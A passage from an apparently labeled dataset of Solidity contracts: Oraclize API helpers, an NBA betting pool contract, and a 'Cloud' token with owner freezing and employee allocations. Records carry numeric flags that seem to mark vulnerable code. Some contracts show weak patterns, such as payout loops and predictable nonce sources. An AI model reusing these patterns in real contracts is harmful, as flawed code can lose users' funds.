dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract nbagame is usingOraclize {
address owner;
address public creator = 0x0161C8d35f0B603c7552017fe9642523f70d7B6A;
address public currentOwner = 0x0161C8d35f0B603c7552017fe9642523f70d7B6A;
uint8 public constant NUM_TEAMS = 2;
string[NUM_TEAMS] public TEAM_NAMES = ["Houston Rockets", "Los Angeles Clippers"];
enum TeamType { HRockets, LAClippers, None }
TeamType public winningTeam = TeamType.None;
uint public constant TOTAL_POOL_COMMISSION = 10;
uint public constant EARLY_BET_INCENTIVE_COMMISSION = 4;
uint public constant OWNER_POOL_COMMISSION = 6;
uint public constant MINIMUM_BET = 0.01 ether;
uint public constant BETTING_OPENS = 1519599600;
uint public constant BETTING_CLOSES = 1519866300;
uint public constant PAYOUT_ATTEMPT_INTERVAL = 64800;
uint public constant BET_RELEASE_DATE = 1520039100;
uint public constant PAYOUT_DATE = BETTING_CLOSES + PAYOUT_ATTEMPT_INTERVAL;
uint public constant STAGE_ONE_BET_LIMIT = 0.2 ether;
bool public payoutCompleted;
bool public stage2NotReached = true;
struct Bettor {
uint[NUM_TEAMS] amountsBet;
uint[NUM_TEAMS] amountsBetStage1;
uint[NUM_TEAMS] amountsBetStage2;
}
mapping(address => Bettor) bettorInfo;
address[] bettors;
uint[NUM_TEAMS] public totalAmountsBet;
uint[NUM_TEAMS] public totalAmountsBetStage1;
uint[NUM_TEAMS] public totalAmountsBetStage2;
uint public numberOfBets;
uint public totalBetAmount;
uint public contractPrice = 0.05 ether;
uint private firstStepLimit = 0.1 ether;
uint private secondStepLimit = 0.5 ether;
event BetMade();
event ContractPurchased();
modifier canPerformPayout() {
if (winningTeam != TeamType.None && !payoutCompleted && now > BETTING_CLOSES) _;
}
modifier bettingIsClosed() {
if (now > BETTING_CLOSES) _;
}
modifier onlyCreatorLevel() {
require(
creator == msg.sender
);
_;
}
function nbagame() public {
owner = msg.sender;
pingOracle(PAYOUT_DATE - now);
}
function triggerRelease() public onlyCreatorLevel {
require(now > BET_RELEASE_DATE);
releaseBets();
}
function _addressNotNull(address _adr) private pure returns (bool) {
return _adr != address(0);
}
function pingOracle(uint pingDelay) private {
oraclize_query(pingDelay, "WolframAlpha", "Rockets vs Clippers February 28, 2018 Winner");
}
function __callback(bytes32 queryId, string result, bytes proof) public {
require(payoutCompleted == false);
require(msg.sender == oraclize_cbAddress());
if (keccak256(TEAM_NAMES[0]) == keccak256(result)) {
winningTeam = TeamType(0);
}
else if (keccak256(TEAM_NAMES[1]) == keccak256(result)) {
winningTeam = TeamType(1);
}
if (winningTeam == TeamType.None) {
if (now >= BET_RELEASE_DATE)
return releaseBets();
return pingOracle(PAYOUT_ATTEMPT_INTERVAL);
}
performPayout();
}
function getUserBets() public constant returns(uint[NUM_TEAMS]) {
return bettorInfo[msg.sender].amountsBet;
}
function releaseBets() private {
uint storedBalance = this.balance;
for (uint k = 0; k < bettors.length; k++) {
uint totalBet = SafeMath.add(bettorInfo[bettors[k]].amountsBet[0], bettorInfo[bettors[k]].amountsBet[1]);
bettors[k].transfer(SafeMath.mul(totalBet, SafeMath.div(storedBalance, totalBetAmount)));
}
}
function canBet() public constant returns(bool) {
return (now >= BETTING_OPENS && now < BETTING_CLOSES);
}
function triggerPayout() public onlyCreatorLevel {
pingOracle(5);
}
function bet(uint teamIdx) public payable {
require(canBet() == true);
require(TeamType(teamIdx) == TeamType.HRockets || TeamType(teamIdx) == TeamType.LAClippers);
require(msg.value >= MINIMUM_BET);
if (bettorInfo[msg.sender].amountsBet[0] == 0 && bettorInfo[msg.sender].amountsBet[1] == 0)
bettors.push(msg.sender);
if (totalAmountsBet[teamIdx] >= STAGE_ONE_BET_LIMIT) {
bettorInfo[msg.sender].amountsBetStage2[teamIdx] += msg.value;
totalAmountsBetStage2[teamIdx] += msg.value;
}
if (totalAmountsBet[teamIdx] < STAGE_ONE_BET_LIMIT) {
if (SafeMath.add(totalAmountsBet[teamIdx], msg.value) <= STAGE_ONE_BET_LIMIT) {
bettorInfo[msg.sender].amountsBetStage1[teamIdx] += msg.value;
totalAmountsBetStage1[teamIdx] += msg.value;
} else {
uint amountLeft = SafeMath.sub(STAGE_ONE_BET_LIMIT, totalAmountsBet[teamIdx]);
uint amountExcess = SafeMath.sub(msg.value, amountLeft);
bettorInfo[msg.sender].amountsBetStage1[teamIdx] += amountLeft;
bettorInfo[msg.sender].amountsBetStage2[teamIdx] += amountExcess;
totalAmountsBetStage1[teamIdx] = STAGE_ONE_BET_LIMIT;
totalAmountsBetStage2[teamIdx] += amountExcess;
}
}
bettorInfo[msg.sender].amountsBet[teamIdx] += msg.value;
numberOfBets++;
totalBetAmount += msg.value;
totalAmountsBet[teamIdx] += msg.value;
BetMade();
}
function performPayout() private canPerformPayout {
uint losingChunk = SafeMath.sub(this.balance, totalAmountsBet[uint(winningTeam)]);
uint currentOwnerPayoutCommission = uint256(SafeMath.div(SafeMath.mul(OWNER_POOL_COMMISSION, losingChunk), 100));
uint eachStageCommission = uint256(SafeMath.div(SafeMath.mul(1, losingChunk), 100));
for (uint k = 0; k < bettors.length; k++) {
uint betOnWinner = bettorInfo[bettors[k]].amountsBet[uint(winningTeam)];
uint payout = betOnWinner + ((betOnWinner * (losingChunk - currentOwnerPayoutCommission - (4 * eachStageCommission))) / totalAmountsBet[uint(winningTeam)]);
if (totalAmountsBetStage1[0] > 0) {
uint stageOneCommissionPayoutTeam0 = ((bettorInfo[bettors[k]].amountsBetStage1[0] * eachStageCommission) / totalAmountsBetStage1[0]);
payout += stageOneCommissionPayoutTeam0;
}
if (totalAmountsBetStage1[1] > 0) {
uint stageOneCommissionPayoutTeam1 = ((bettorInfo[bettors[k]].amountsBetStage1[1] * eachStageCommission) / totalAmountsBetStage1[1]);
payout += stageOneCommissionPayoutTeam1;
}
if (totalAmountsBetStage2[0] > 0) {
uint stageTwoCommissionPayoutTeam0 = ((bettorInfo[bettors[k]].amountsBetStage2[0] * eachStageCommission) / totalAmountsBetStage2[0]);
payout += stageTwoCommissionPayoutTeam0;
}
if (totalAmountsBetStage2[1] > 0) {
uint stageTwoCommissionPayoutTeam1 = ((bettorInfo[bettors[k]].amountsBetStage2[1] * eachStageCommission) / totalAmountsBetStage2[1]);
payout += stageTwoCommissionPayoutTeam1;
}
if (payout > 0)
bettors[k].transfer(payout);
}
currentOwner.transfer(currentOwnerPayoutCommission);
if (this.balance > 0) {
creator.transfer(this.balance);
stage2NotReached = true;
} else {
stage2NotReached = false;
}
payoutCompleted = true;
}
function buyContract() public payable {
address oldOwner = currentOwner;
address newOwner = msg.sender;
require(newOwner != oldOwner);
require(_addressNotNull(newOwner));
require(msg.value >= contractPrice);
require(now < BETTING_CLOSES);
uint payment = uint(SafeMath.div(SafeMath.mul(contractPrice, 94), 100));
uint purchaseExcess = uint(SafeMath.sub(msg.value, contractPrice));
uint creatorCommissionValue = uint(SafeMath.sub(contractPrice, payment));
if (contractPrice < firstStepLimit) {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 132), 94);
} else if (contractPrice < secondStepLimit) {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 122), 94);
} else {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 113), 94);
}
currentOwner = newOwner;
oldOwner.transfer(payment);
creator.transfer(creatorCommissionValue);
ContractPurchased();
msg.sender.transfer(purchaseExcess);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 854 |
pragma solidity ^0.4.16;
library Math {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
uint256 public totalSupply;
uint256 public decimals;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Cloud is Token {
using Math for uint256;
bool trading=false;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function transfer(address _to, uint256 _value) canTrade returns (bool success) {
require(_value > 0);
require(!frozenAccount[msg.sender]);
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) canTrade returns (bool success) {
require(_value > 0);
require(!frozenAccount[_from]);
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
modifier canTrade {
require(trading==true ||(canRelease==true && msg.sender==owner));
_;
}
function setTrade(bool allow) onlyOwner {
trading=allow;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
event Invested(address investor, uint256 tokens);
uint256 public employeeShare=8;
address[4] employeeWallets = [0x9caeD53A6C6E91546946dD866dFD66c0aaB9f347,0xf1Df495BE71d1E5EdEbCb39D85D5F6b620aaAF47,0xa3C38bc8dD6e26eCc0D64d5B25f5ce855bb57Cd5,0x4d67a23b62399eDec07ad9c0f748D89655F0a0CB];
string public name;
string public symbol;
address public owner;
uint256 public tokensReleased=0;
bool canRelease=false;
function Cloud(
uint256 _initialAmount,
uint256 _decimalUnits,
string _tokenName,
string _tokenSymbol,
address ownerWallet
) {
owner=ownerWallet;
decimals = _decimalUnits;
totalSupply = _initialAmount*(10**decimals);
balances[owner] = totalSupply;
name = _tokenName;
symbol = _tokenSymbol;
}
function freezeAccount(address target, bool freeze) onlyOwner{
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function releaseTokens(bool allow) onlyOwner {
canRelease=allow;
}
function invest(address receiver, uint256 _value) onlyOwner returns (bool success) {
require(canRelease);
require(_value > 0);
uint256 numTokens = _value*(10**decimals);
uint256 employeeTokens = 0;
uint256 employeeTokenShare=0;
employeeTokens = numTokens.mul(employeeShare).div(100);
employeeTokenShare = employeeTokens.div(employeeWallets.length);
approve(owner,employeeTokens.add(numTokens));
for(uint i = 0; i < employeeWallets.length; i++)
{
require(transferFrom(owner, employeeWallets[i], employeeTokenShare));
}
require(transferFrom(owner, receiver, numTokens));
tokensReleased = tokensReleased.add(numTokens).add(employeeTokens.mul(4));
Invested(receiver,numTokens);
return true;
}
} | 1 | 4,737 |
pragma solidity ^0.4.24;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private pausers;
constructor() internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
function paused() public view returns(bool) {
return _paused;
}
modifier whenNotPaused() {
